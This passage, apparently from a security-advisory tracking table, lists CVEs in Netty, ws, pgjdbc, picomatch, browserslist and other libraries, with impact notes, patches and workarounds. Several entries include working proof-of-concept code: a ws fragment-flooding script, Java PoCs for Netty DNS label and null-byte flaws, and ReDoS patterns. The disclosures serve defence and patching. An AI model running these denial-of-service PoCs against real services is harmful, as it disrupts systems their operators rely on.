than through `cleanup()`. The end state is identical (channel closed → `writeInbound` throws at `ensureOpen()`); the bug depends on "channel closed → retain not rolled back", not on *how* the channel was closed. - In the isolated harness the rethrown `StreamException`'s root cause shows as `NullPointerException` because the harness does not initialise an `Http2LocalFlowController` (a secondary exception reported during channel close). The leak is already sealed at the `ClosedChannelException` thrown by `writeInbound`'s `ensureOpen()` (line 360); in a real server with the flow controller initialised, the triggering exception is the `ClosedChannelException` itself. A complete self-contained PoC (`Verify02DecompressLeak.java`, ~150 lines, no test framework) plus the exact `javac` / `java` commands can be attached on request. ### Impact - **Vulnerability type**: uncontrolled resource consumption / memory leak (CWE-401), leading to denial of service. Each crafted `DATA` frame leaks one (typically direct/off-heap) `ByteBuf`. - **Who is impacted**: any server (or client) that enables HTTP/2 content decompression by installing `DelegatingDecompressorFrameListener` in its HTTP/2 pipeline. - **Attacker requirements**: remote, unauthenticated. The attacker only needs to send HTTP/2 `DATA` frames for a stream whose decompressor has been cleaned up (e.g. continue sending `DATA` after `END_STREAM`). No special server configuration beyond decompression being enabled. - **Result**: sustained triggering over a long-lived connection exhausts direct memory and crashes the JVM with `OutOfMemoryError`. | |
| 7.5CVSS 3.1 | GHSA-96hv-2xvq-fx4p
CVE-2026-48779 |
Not affected | 2026-06-15 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Impact A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. ### Proof of concept ```js import { WebSocket, WebSocketServer } from 'ws'; const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`); ws.on('open', function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); }); ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`client close - code: ${code} reason: ${reason.toString()}`); }); }); wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`server close - code: ${code} reason: ${reason.toString()}`); }); }); ``` ### Patches The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53). ### Workarounds In vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible. ### Credits The vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077). | |
| 7.5CVSS 3.1 | GHSA-98qh-xjc8-98pq
CVE-2026-42198 |
Resolved | 2026-05-05 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ## Summary pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication. ### Impact A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools. In affected versions, `loginTimeout` did not fully mitigate this problem. When `loginTimeout` expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation. This issue affects availability. It does **not** provide authentication bypass, privilege escalation, or direct password disclosure. A user is vulnerable when **all** of the following are true: 1. The connection uses **SCRAM-SHA-256** authentication. 2. The client reaches a **malicious, compromised, or attacker-controlled PostgreSQL endpoint**. 3. That endpoint sends a very large SCRAM PBKDF2 iteration count in the `server-first-message`. In practice, that can happen in these situations: - the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control - the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources - the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised - the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server - an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution, `/etc/hosts`, environment variables, or similar indirection - an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example, `sslmode` lower than `verify-full`, or trusting a CA that signs hosts outside the operator's control) The issue is **more damaging** when the application uses connection retries, many parallel connection attempts, or `loginTimeout` and assumes the timeout fully stops the work. ### Patches The patch introduces a new connection property, `scramMaxIterations`, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins. ### Workarounds Until a patched version of pgjdbc is deployed, the following measures reduce exposure: 1. **Only connect to trusted PostgreSQL servers whose identity is verified.** Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA. TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server. 2. **Do not rely on `loginTimeout` as a complete mitigation on unpatched versions.** On affected versions, `loginTimeout` can stop the waiting caller while the worker thread continues spending CPU. 3. **Avoid SCRAM on untrusted or interceptable connection paths.** For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count. 4. **Reduce blast radius operationally.** Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate. 5. **On trusted servers you control, keep SCRAM iteration counts at ordinary values.** This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers. | |
| 7.5CVSS 4.0 | GHSA-c27g-q93r-2cwf
CVE-2024-52011 |
False positive | 2026-06-03 | 5.6 ×95.5 ×205.4 ×14 | ### Summary Due to the insufficient sanitization of the `file` argument in the `launchEditor`, an attacker can execute arbitrary commands on Windows by supplying a filename that contains special characters. ### Impact If the following conditions are met, an attacker can execute arbitrary commands on the computer that is using the `launch-editor`: - An attacker can place a file with the malicious filename - An attacker can call the `launchEditor` method with the `file` argument controlled - The `launch-editor` package is running on Windows For example, some development server using this package satisfy these conditions, as a malicious website might be able to force the downloading of a file and the path of that file is predictable. ### Patch This issue has been fixed in the `launch-editor` version 2.9.0 ([commit](https://github.com/vitejs/launch-editor/commit/971291e8a6a91226e1616c5c0ec85423d2d50a5e)). | |
| 7.5CVSS 3.1 | GHSA-c2c7-rcm5-vvqj
CVE-2026-33671 |
Not affected | 2026-03-25 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Impact `picomatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as `+()` and `*()`, especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input. Examples of problematic patterns include `+(a|aa)`, `+(*|?)`, `+(+(a))`, `*(+(a))`, and `+(+(+(a)))`. In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, `+(a|aa)` compiled to `^(?:(?=.)(?:a|aa)+)$` and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as `+(+(a))` and `*(+(a))` took around 29 seconds to reject a 33-character input on a modern M1 MacBook. Applications are impacted when they allow untrusted users to supply glob patterns that are passed to `picomatch` for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way. ### Patches This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2. Users should upgrade to one of these versions or later, depending on their supported release line. ### Workarounds If upgrading is not immediately possible, avoid passing untrusted glob patterns to `picomatch`. Possible mitigations include: - disable extglob support for untrusted patterns by using `noextglob: true` - reject or sanitize patterns containing nested extglobs or extglob quantifiers such as `+()` and `*()` - enforce strict allowlists for accepted pattern syntax - run matching in an isolated worker or separate process with time and resource limits - apply application-level request throttling and input validation for any endpoint that accepts glob patterns ### Resources - Picomatch repository: https://github.com/micromatch/picomatch - `lib/parse.js` and `lib/constants.js` are involved in generating the vulnerable regex forms - Comparable ReDoS precedent: CVE-2024-4067 (`micromatch`) - Comparable generated-regex precedent: CVE-2024-45296 (`path-to-regexp`) | |
| 7.5CVSS 3.1 | GHSA-c2qf-rxjj-qqgw
CVE-2022-25883 |
Not affected | 2023-06-21 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range. | |
| 7.5CVSS 3.1 | GHSA-c2rx-5r8w-8xr2
CVE-2026-44892 |
Resolved | 2026-06-08 | 5.7 ×35.6 ×2 | ### Summary The default configuration of the `Http3ConnectionHandler` in the Netty HTTP/3 codec lacks an enforced maximum header size limit. When a peer does not explicitly specify `HTTP3_SETTINGS_MAX_FIELD_SECTION_SIZE`, the implementation defaults to an unbounded limit. This insecure default configuration allows a malicious client or server to send an enormous number of headers, leading to a memory exhaustion Denial of Service via an `OutOfMemoryError`. ### Details Netty securely limits header sizes for older protocols. In HTTP/1.1, Netty strictly enforces an `8192`-byte limit out-of-the-box via `HttpObjectDecoder`. For HTTP/2, while RFC 9113 specifies that `SETTINGS_MAX_HEADER_LIST_SIZE` defaults to `unlimited`, Netty securely overrides this RFC default by enforcing an `8192`-byte limit (`Http2CodecUtil.DEFAULT_HEADER_LIST_SIZE`). However, this secure-by-default configuration is missing in the HTTP/3 implementation. While Netty provides a mechanism to configure the maximum header field section size via `Http3Settings`, its out-of-the-box behaviour strictly follows RFC 9114's unlimited default. Because many developers rely on the framework's default configurations and basic constructors, their applications are unknowingly left vulnerable. This nearly infinite default limit is passed into `Http3FrameCodec#newFactory` and stored as `maxHeaderListSize` inside `Http3FrameCodec`. A bad actor can continuously send HTTP/3 headers within a connection, exploiting the insecure default configuration to consume server memory unconditionally until the application crashes with an `OutOfMemoryError`. ### Impact Denial of Service via memory exhaustion. All applications using Netty's HTTP/3 codec with its default configuration are impacted. | |
| 7.5CVSS 3.1 | GHSA-c653-97m9-rcg9
CVE-2026-50010 |
Resolved | 2026-06-15 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | SimpleTrustManagerFactory.engineGetTrustManagers() and related paths wrap any user-supplied plain X509TrustManager in X509TrustManagerWrapper, which extends X509ExtendedTrustManager but implements the 3-arg checkServerTrusted(chain, authType, SSLEngine) by discarding the SSLEngine and calling the 2-arg delegate. Because the object now IS an X509ExtendedTrustManager, neither SunJSSE's internal AbstractTrustManagerWrapper nor Netty's own OpenSslX509TrustManagerWrapper will re-wrap it to add endpoint-identification. Consequently, even though Netty 4.2 sets endpointIdentificationAlgorithm="HTTPS" by default, a client built with `SslContextBuilder.forClient().trustManager(somePlainX509TrustManager)` performs no hostname verification at all. | |
| 7.5CVSS 3.1 | GHSA-c83g-rgw3-j3cx
CVE-2026-73089 |
Not affected | 2026-09-01 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ## Vulnerability Details **File**: `index.js` **Location**: `cache` (browserslist()'s result cache, line ~402) and `parseCache` (parseQueries()'s AST cache) ### Root Cause ```js var cache = {} var parseCache = {} function browserslist(queries, opts) { ... var cacheKey = JSON.stringify([queries, context]) if (cache[cacheKey]) return cache[cacheKey] ... if (!env.env.BROWSERSLIST_DISABLE_CACHE) { cache[cacheKey] = result } return result } function parseQueries(queries) { var cacheKey = JSON.stringify(queries) if (cacheKey in parseCache) return parseCache[cacheKey] var result = parseWithoutCache(QUERIES, queries) if (!env.env.BROWSERSLIST_DISABLE_CACHE) { parseCache[cacheKey] = result } ... } ``` Every distinct `(queries, context)` pair is cached forever — no size cap, TTL, or eviction. `browserslist.clearCaches()` never resets either object (it only resets `node.js`'s own filesystem caches); the only opt-out is the `BROWSERSLIST_DISABLE_CACHE` env var, controlled by the *calling application*, not an attacker. Some short, valid queries amplify this badly. The `since <year>-<month>-<day>` query type (`/^since (\d+)-(\d+)-(\d+)$/i`) accepts **any** digit combination — `Date.UTC()` normalizes rather than rejects out-of-range values — giving an effectively unbounded space of ~17-byte distinct cache keys, each of which resolves to (and caches) a result close to the full ~8.5 KB browser list for any sufficiently old year. ### Measured Impact 20,000 distinct `since <year>-<month>-<day>` queries (~330 KB total input, `--expose-gc` before/after measurement to rule out uncollected garbage) retained **over 50 MB** of heap permanently — roughly **150x** amplification, growing linearly with no cap observed up to 40,000 queries (52.3 MB). ### Attack Scenario Any long-running process (server, daemon, warm CI worker) that calls `browserslist()` with a query value that varies across requests/items and is influenced, even partially, by external input accumulates one cache entry per distinct value ever seen. An attacker who can influence that value across *many* requests (this is a volumetric attack, unlike the single-request DoS findings from this same research pass) sends a stream of cheap, distinct queries (e.g. `since 1900-01-01`, `since 1900-01-02`, ...) until the process runs out of memory and crashes. ### Recommended Fix (implemented and verified) Replace both plain-object caches with `Map`s bounded to a fixed maximum entry count, evicting the oldest entry once the cap is reached (`Map` preserves insertion order, so `.keys().next().value` is always oldest): ```js var CACHE_MAX_ENTRIES = 500 function boundedCacheSet(map, key, value) { if (map.size >= CACHE_MAX_ENTRIES) { map.delete(map.keys().next().value) } map.set(key, value) } var cache = new Map() var parseCache = new Map() ``` (read sites changed to `.has()`/`.get()`, write sites to `boundedCacheSet()`) **Verification**: - `NODE_ENV=test npx uvu test .test.js` → 301/301 pass unmodified (`test/cache.test.js` exercises `clearCaches()`/`BROWSERSLIST_DISABLE_CACHE` against `node.js`'s separate filesystem caches, unaffected here); confirmed a repeated identical call still returns the cached reference. - Re-ran the memory PoC post-fix: heap stayed flat at ~4.9 MB after 5,000, 10,000, 20,000, and 40,000 distinct `since`-date queries (was 10.5 → 16.5 → 28.4 → 52.3 MB pre-fix). ### Impact - **Who is affected**: Long-running processes calling `browserslist()` with query values that vary across requests/items and are influenced by external input. - **What an attacker achieves**: DoS via eventual out-of-memory crash, given sustained traffic over time (not a single small payload). - **Conditions required**: No authentication; requires volume rather than a single request, hence Medium rather than High severity. ### Verification Environment browserslist @ HEAD (== v4.28.6, current latest stable release) under local Node.js v20.19.5, run with `--expose-gc` for accurate heap measurement. ### Note Found during a broader review of this codebase in the same research pass that produced GHSA-rrmg-cfrq-23vv (parse.js algorithmic complexity), GHSA-g6p8-hj8g-x889 (baseline regexp ReDoS), GHSA-73wf-gq98-2v4g (normalizeStats crash/prototype write), and GHSA-h633-868p-5rfw (SCOPED_CONFIG__PATTERN ReDoS) — all single-request DoS vectors. This one is different in character (volumetric, not single-request) and is reported separately/scored lower accordingly. | |
| 7.5CVSS 3.1 | GHSA-cc37-9q2j-3hfv
CVE-2026-44893 |
Resolved | 2026-06-08 | 5.6 ×25.5 ×185.4 ×12 | When decoding a PP2_TYPE_SSL TLV, HAProxyMessage.readNextTLV() first calls `header.retainedSlice(header.readerIndex(), length)` and only then reads the 1-byte client field and 4-byte verify field. If the attacker sets the TLV length below 5, the subsequent readByte/readInt throws IndexOutOfBoundsException. HAProxyMessageDecoder only catches HAProxyProtocolException around this call, so the IOOBE propagates and the retained slice on the pooled cumulation buffer is never released. | |
| 7.5CVSS 3.1 | GHSA-cm33-6792-r9fm
CVE-2026-42579 |
Resolved | 2026-05-07 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | # Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder) ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-dns) | | **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` | | **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption | | **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets | ## 2. Affected Components Both the encoder and decoder in the same file are affected: - `io.netty.handler.codec.dns.DnsCodecUtil` — `encodeDomainName()` method (lines 31-51): - No null byte validation in domain name labels - No per-label length validation (RFC 1035 max: 63 bytes) - No total domain name length validation (RFC 1035 max: 255 bytes) - Empty labels silently truncate the domain name - `io.netty.handler.codec.dns.DnsCodecUtil` — `decodeDomainName()` method (lines 53-118): - No per-label length validation (max 63) - No total domain name length validation (max 255) - Unbounded StringBuilder growth from attacker-controlled DNS responses ## 3. Vulnerability Description Netty's DNS codec does **not enforce RFC 1035 domain name constraints** during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder. ### 3.1 Encoder Side — Null Byte Injection (CWE-626) A domain name containing a null byte (e.g., `"evil\0.example.com"`) is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently: - **Java (full string)**: sees `"evil\0.example.com"` as a single label containing a null - **C/native DNS libraries**: truncate at the null byte, seeing only `"evil"` - **DNS servers**: may accept or reject based on implementation This differential interpretation enables **DNS cache poisoning** and **domain validation bypass**. ### 3.2 Encoder Side — Overlength Label (RFC 1035 Violation) Labels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate **compression pointers**. This means: - A 200-byte label length `0xC8` would be interpreted as a **compression pointer** by standards-compliant DNS parsers - This creates **parser confusion** between label and pointer interpretation ### 3.3 Encoder Side — Silent Truncation via Empty Labels ```java encodeDomainName("a..b.com", buf); // Encodes as: [01] 'a' [00] // Only "a." is encoded, ".b.com" is silently dropped! ``` An attacker can craft input like `"safe-domain..evil.com"` which gets truncated to just `"safe-domain."`, potentially bypassing domain allowlists. ### 3.4 Decoder Side — Unbounded Memory Allocation The decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation. ### Root Cause — Encoder ```java // DnsCodecUtil.java:31-51 static void encodeDomainName(String name, ByteBuf buf) { if (ROOT.equals(name)) { buf.writeByte(0); return; } final String[] labels = name.split("\\."); for (String label : labels) { final int labelLen = label.length(); if (labelLen == 0) { break; // NO ERROR - silently truncates! } // NO check: labelLen > 63 // NO check: label contains null bytes // NO check: total name > 255 bytes buf.writeByte(labelLen); // Can write values > 63! ByteBufUtil.writeAscii(buf, label); // Null bytes pass through! } buf.writeByte(0); } ``` ### Root Cause — Decoder ```java // DnsCodecUtil.java:94-99 (decodeDomainName) } else if (len != 0) { if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len <= 63 throw new CorruptedFrameException("truncated label in a name"); } name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append('.'); // ^^^^^^ StringBuilder grows WITHOUT any length limit in.skipBytes(len); } ``` **Missing checks in decoder**: - No `if (len > 63)` check per RFC 1035 Section 2.3.4 - No `if (name.length() > 255)` check for total domain name length ## 4. Exploitability Prerequisites ### Encoder Side (outbound) 1. An application constructs DNS queries using Netty's DNS codec with user-influenced domain names 2. The constructed DNS packets are sent to DNS servers or resolvers ### Decoder Side (inbound) 1. An application uses Netty's `codec-dns` or `resolver-dns` module to process DNS responses 2. The application communicates with a malicious or compromised DNS server **Attack surface**: Any Netty application using DNS resolution (`DnsNameResolver`) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames. ## 5. Attack Scenarios ### Scenario 1: DNS Cache Poisoning via Null Byte (Encoder) ```java String hostname = userInput; // "evil\0.trusted.com" DnsQuery query = new DefaultDnsQuery(...) .addRecord(DnsSection.QUESTION, new DefaultDnsQuestion(hostname, DnsRecordType.A)); ``` The DNS query for `"evil\0.trusted.com"` may be interpreted by some resolvers as a query for `"evil"` (truncated at null). If the attacker controls the DNS for `"evil"`, they can return a response that gets cached for `"evil\0.trusted.com"` (or vice versa), poisoning the cache. ### Scenario 2: Label/Pointer Confusion (Encoder) A 200-byte label writes length byte `0xC8`. Standards-compliant parsers interpret `0xC0-0xFF` as **compression pointer** prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous: ``` Byte: [C8] [61 61 61 ... (200 bytes)] ↑ Label interpretation: 200-byte label starting with 'a' Pointer interpretation: pointer to offset 0x0861 = 2145 ``` ### Scenario 3: Memory Exhaustion via Large Labels (Decoder) A malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation. ### Scenario 4: Domain Truncation via Empty Label (Encoder) ```java encodeDomainName("safe-domain..evil.com", buf); // Only "safe-domain." is encoded, "evil.com" silently dropped ``` This can bypass domain allowlists that check the input string. ### Scenario 5: Downstream Processing Failures (Decoder) Applications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names > 255 bytes, as these systems typically assume RFC 1035 compliance. ## 6. Proof of Concept ### PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import java.lang.reflect.Method; import java.nio.charset.StandardCharsets; public class DnsEncoderNullBytePoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty DNS Encoder Validation Bypass PoC ===\n"); Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil"); Method encode = clazz.getDeclaredMethod("encodeDomainName", String.class, ByteBuf.class); encode.setAccessible(true); // Test 1: Null byte in domain name ByteBuf buf = Unpooled.buffer(256); encode.invoke(null, "evil\0.example.com", buf); byte[] bytes = new byte[buf.readableBytes()]; buf.readBytes(bytes); buf.release(); System.out.print("[TEST 1] Null byte - Encoded: "); for (byte b : bytes) System.out.printf("%02x ", b & 0xff); System.out.println("\nVULNERABLE: Null byte 0x00 in label data!"); // Test 2: 200-byte label ByteBuf buf2 = Unpooled.buffer(512); encode.invoke(null, "a".repeat(200) + ".com", buf2); System.out.println("\n[TEST 2] 200-byte label encoded: " + buf2.readableBytes() + " bytes"); System.out.println("VULNERABLE: Overlength label accepted!"); buf2.release(); // Test 3: Empty label truncation ByteBuf buf3 = Unpooled.buffer(256); encode.invoke(null, "a..b.com", buf3); byte[] bytes3 = new byte[buf3.readableBytes()]; buf3.readBytes(bytes3); buf3.release(); System.out.print("\n[TEST 3] Empty label - Encoded: "); for (byte b : bytes3) System.out.printf("%02x ", b & 0xff); System.out.println("\nVULNERABLE: Domain silently truncated!"); } } ``` ### PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import java.lang.reflect.Method; import java.nio.charset.StandardCharsets; public class DnsDecoderLengthPoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty DNS Decoder Length Bypass PoC ===\n"); Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil"); Method decode = clazz.getDeclaredMethod("decodeDomainName", ByteBuf.class); decode.setAccessible(true); // Test 1: 100-byte label (RFC limit: 63) ByteBuf buf1 = Unpooled.buffer(256); buf1.writeByte(100); buf1.writeBytes("a".repeat(100).getBytes(StandardCharsets.US_ASCII)); buf1.writeByte(3); buf1.writeBytes("com".getBytes(StandardCharsets.US_ASCII)); buf1.writeByte(0); String r1 = (String) decode.invoke(null, buf1); buf1.release(); System.out.println("[TEST 1] 100-byte label: length=" + r1.length() + " VULNERABLE=" + (r1.length() > 64)); // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255) ByteBuf buf2 = Unpooled.buffer(512); for (int i = 0; i < 5; i++) { buf2.writeByte(60); buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60) .getBytes(StandardCharsets.US_ASCII)); } buf2.writeByte(0); String r2 = (String) decode.invoke(null, buf2); buf2.release(); System.out.println("[TEST 2] 305-byte domain: length=" + r2.length() + " VULNERABLE=" + (r2.length() > 255)); } } ``` ### How to Compile and Run ```bash JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') # Encoder PoC javac -cp "$JARS" DnsEncoderNullBytePoC.java java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsEncoderNullBytePoC # Decoder PoC javac -cp "$JARS" DnsDecoderLengthPoC.java java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsDecoderLengthPoC ``` ### PoC Execution Output (Verified on Netty 4.2.12.Final) **Encoder PoC:** ``` === Netty DNS Encoder Validation Bypass PoC === [TEST 1] Null byte in domain name Input: "evil\0.example.com" Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00 Null byte in label data: true VULNERABLE: YES - Null byte accepted! [TEST 2] Label > 63 bytes in encoder Input: "aaaaaa..." (200-char label) Encoded bytes: 206 VULNERABLE: YES - Overlength label accepted in encoder! [TEST 3] Empty labels (consecutive dots) Input: "a..b.com" Encoded bytes: 01 61 00 Note: Empty label truncates the name (may lose data) ``` **Decoder PoC:** ``` === Netty DNS Decoder Length Bypass PoC === [TEST 1] Label > 63 bytes (RFC 1035 violation) Label length: 100 bytes (RFC limit: 63) Decoded name length: 105 VULNERABLE: YES - Label > 63 bytes accepted! [TEST 2] Domain > 255 bytes via multiple labels 5 labels x 60 bytes = 300+ bytes total RFC 1035 limit: 255 bytes Decoded name length: 305 VULNERABLE: YES - Domain > 255 bytes accepted! ``` ## 7. Impact Analysis | Impact Category | Description | |----------------|-------------| | **Integrity** | HIGH — Null byte injection causes differential interpretation across DNS implementations | | **Availability** | HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder | | **DNS Cache Poisoning** | Different parsers see different domain names from the same encoded packet | | **Domain Validation Bypass** | Null bytes can bypass allowlist/blocklist checks in DNS proxies | | **Label/Pointer Confusion** | Length bytes > 63 conflict with RFC 1035 compression pointer encoding | | **Silent Truncation** | Empty labels silently drop the remainder of the domain name | | **Downstream Failures** | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries | ## 8. Remediation Recommendations ### Fix for Encoder (encodeDomainName) ```java static void encodeDomainName(String name, ByteBuf buf) { if (ROOT.equals(name)) { buf.writeByte(0); return; } int totalLength = 0; final String[] labels = name.split("\\."); for (String label : labels) { final int labelLen = label.length(); if (labelLen == 0) { throw new IllegalArgumentException("DNS name contains empty label: " + name); } if (labelLen > 63) { throw new IllegalArgumentException( "DNS label length " + labelLen + " exceeds maximum of 63: " + name); } for (int i = 0; i < label.length(); i++) { if (label.charAt(i) == '\0') { throw new IllegalArgumentException( "DNS label contains null byte at index " + i); } } totalLength += 1 + labelLen; if (totalLength > 254) { throw new IllegalArgumentException( "DNS name exceeds maximum length of 255: " + name); } buf.writeByte(labelLen); ByteBufUtil.writeAscii(buf, label); } buf.writeByte(0); } ``` ### Fix for Decoder (decodeDomainName) ```java // Add after "} else if (len != 0) {": if (len > 63) { throw new CorruptedFrameException("DNS label length " + len + " exceeds maximum of 63"); } // Add after "name.append(...)": if (name.length() > 255) { throw new CorruptedFrameException("DNS domain name length exceeds maximum of 255"); } ``` ## 9. Resources - [RFC 1035 Section 2.3.4: Size Limits](https://tools.ietf.org/html/rfc1035#section-2.3.4) - [RFC 1035 Section 4.1.4: Message Compression](https://tools.ietf.org/html/rfc1035#section-4.1.4) - [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html) - [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html) - [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html) | |
| 7.5CVSS 3.1 | GHSA-cmm3-54f8-px4j
CVE-2026-44894 |
Resolved | 2026-06-08 | 5.7 ×35.6 ×2 | NoQuicTokenHandler is the tokenHandler used when the application does not set one. Its writeToken() returns false (server will not send Retry — acceptable), but validateToken() unconditionally `return 0`. In QuicheQuicServerCodec.handlePacket(), a non-negative return from validateToken() is interpreted as 'token is valid, ODCID starts at offset 0', causing the server to call quiche_accept as if the client's address had been validated by a Retry round-trip. Per RFC 9000 §8.1, a validated address lifts the 3× anti-amplification send limit. Thus any attacker who includes ANY non-empty token bytes in an Initial packet — with a spoofed victim source IP — causes the Netty server to treat the victim as validated and reflect full-size handshake flights (certificates, etc.) toward it without the 3× cap. The correct 'no token handler' semantics would be to return -1 (invalid) so the normal un-validated path and amplification limit apply. | |
| 7.5CVSS 3.1 | GHSA-cxp5-3px4-pw24
CVE-2026-91777 |
In triage | 2026-09-30 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary When an `@JsonIdentityInfo` collection or map first creates N unresolved object-ID references and later resolves the same IDs in reverse order, jackson-databind scans the remaining pending-reference accumulator for each resolution. A shallow JSON document whose size grows linearly can therefore cause quadratic CPU work during deserialization. ### Details The affected path is forward-reference completion in `CollectionDeserializer.CollectionReferringAccumulator.resolveForwardReference()` and the corresponding map implementation. The implementation performs a linear search of the pending accumulator for every resolved object ID. The behavior is runtime-confirmed in jackson-databind 2.5.0, 2.22.1, and 3.2.1. Current 2.22 and 3.2 source branches retained the same design when rechecked. A 2.4.0 control fails closed before successful reverse-order completion, so 2.5.0 is the conservative runtime-confirmed affected floor. The patched versions are: 2.18.11, 2.21.7, 2.22.3, 3.1.7 and 3.2.3. The vulnerable application must deserialize attacker-influenced JSON into an identity-enabled collection or map. The issue does not require deep nesting or syntactically unusual JSON. Suggested correction: replace repeated linear lookup/removal with a keyed pending-reference structure or another design that provides linear or amortized-linear completion. A regression should preserve input order, duplicate-ID behavior, and unresolved-ID errors while bounding reverse-order resolution work. ### PoC The proof constructs a shallow collection containing N unresolved `@JsonIdentityInfo` references followed by definitions of those same IDs in reverse order. Its ID class counts `equals()` calls, giving a deterministic work measure rather than a timing-dependent result. With N=2,000, affected versions perform exactly 2,003,000 ID comparisons. An equally sized control in which every reference is already resolved performs zero comparisons in the pending-reference 